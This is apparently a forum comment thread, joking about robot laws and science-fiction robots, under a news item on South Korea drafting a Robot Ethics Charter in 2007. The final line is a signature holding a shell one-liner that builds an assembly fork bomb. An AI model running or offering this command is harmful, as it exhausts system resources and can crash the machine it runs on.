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South Korea Drafting Ethical Code for Robotic Age
goldaryn writes "The BBC is reporting that the South Korean government is working on an ethical code for human/robot relations, 'to prevent humans abusing robots, and vice versa'. The article describes the creation of the Robot Ethics Charter, which 'will cover standards for users and manufacturers and will be released later in 2007. [...] It is being put together by a five member team of experts that includes futurists and a science fiction writer.'"
Who cares if robots get abused?
*sees Nuremburg tribunal in 50 years*
Apology to Ubuntu forum.
I'm dying to know what the laws will be for Sybian-style robots.
But we all know where this will end up.
In another Will Smith summer blockbuster? God, I hope not.
1. Serve the Public Trust
2. Protect the Innocent
3. Uphold the Law
Uh, there is a fourth one but I can't....seem....to locate it...at the moment.
Don't forget the fourth law
4. A robot must make wisecracks if in a film with Steve Guttenburg.
Where does the school board find them and why do they keep sending them to ME?
I don't know. I'll have my model T-800 unit log onto SkyNet and get an answer for you as soon as possible.
Right now, he's tied up in some committee meeting in Sacramento.
Have gnu, will travel.
Don't Date Robots!
NUMBER FIVE is ALIVE! hehehehe loved that movie. 2nd one sucked.
Someday, I'll have a real sig.
It's too late. They should have come up with this "code" before they invented this: http://www.gorobotics.net/The-News/Military/South- Korea-Develops-Machine%11Gun-Sentry-Robot/
Those seniors have NO chance!
Sleep your way to a whiter smile...date a dentist!
Q)What do you do when your T800 sentrybot starts humping your leg?
A)Act interested.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;